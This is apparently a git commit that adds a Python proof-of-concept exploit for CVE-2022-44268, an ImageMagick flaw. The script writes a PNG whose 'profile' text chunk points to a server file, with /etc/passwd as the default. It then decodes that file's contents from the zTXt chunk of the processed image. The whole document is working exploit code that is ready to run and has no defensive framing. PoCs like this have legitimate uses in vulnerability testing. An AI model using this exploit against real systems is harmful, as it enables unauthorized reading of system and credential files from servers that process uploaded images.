first commit

imagemagick/CVE-2022-44268/poc.py

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+#!/usr/bin/env python3
+import sys
+import png
+import zlib
+import argparse
+import binascii
+import logging
+
+logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
+d = zlib.decompressobj()
+e = zlib.compressobj()
+IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00'
+IDAT = b'x\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b`\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9' \
+       b'\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x10\x02\x80\x9c\xf3\x9cSD\x0esU\x1dc\xa8\xeaa\x0e\xc0' \
+       b'\xccb\x8cf\x06`gwgf\x11afw\x7fx\x01^K+F'
+
+
+def parse_data(data: bytes) -> str:
+    _, data = data.strip().split(b'\n', 1)
+    return binascii.unhexlify(data.replace(b'\n', b'')).decode()
+
+
+def read(filename: str):
+    if not filename:
+        logging.error('you must specify a input filename')
+        return
+
+    res = ''
+    p = png.Reader(filename=filename)
+    for k, v in p.chunks():
+        logging.info("chunk %s found, value = %r", k.decode(), v)
+        if k == b'zTXt':
+            name, data = v.split(b'\x00', 1)
+            res = parse_data(d.decompress(data[1:]))
+
+    if res:
+        sys.stdout.write(res)
+        sys.stdout.flush()
+
+
+def write(from_filename, to_filename, read_filename):
+    if not to_filename:
+        logging.error('you must specify a output filename')
+        return
+
+    with open(to_filename, 'wb') as f:
+        f.write(png.signature)
+        if from_filename:
+            p = png.Reader(filename=from_filename)
+            for k, v in p.chunks():
+                if k != b'IEND':
+                    png.write_chunk(f, k, v)
+        else:
+            png.write_chunk(f, b'IHDR', IHDR)
+            png.write_chunk(f, b'IDAT', IDAT)
+
+        png.write_chunk(f, b"tEXt", b"profile\x00" + read_filename.encode())
+        png.write_chunk(f, b'IEND', b'')
+
+
+def main():
+    parser = argparse.ArgumentParser(description='POC for CVE-2022-44268')
+    parser.add_argument('action', type=str, choices=('generate', 'parse'))
+    parser.add_argument('-i', '--input', type=str, help='input filename')
+    parser.add_argument('-o', '--output', type=str, help='output filename')
+    parser.add_argument('-r', '--read', type=str, help='target file to read', default='/etc/passwd')
+    args = parser.parse_args()
+    if args.action == 'generate':
+        write(args.input, args.output, args.read)
+    elif args.action == 'parse':
+        read(args.input)
+    else:
+        logging.error("bad action")
+
+
+if __name__ == '__main__':
+    main()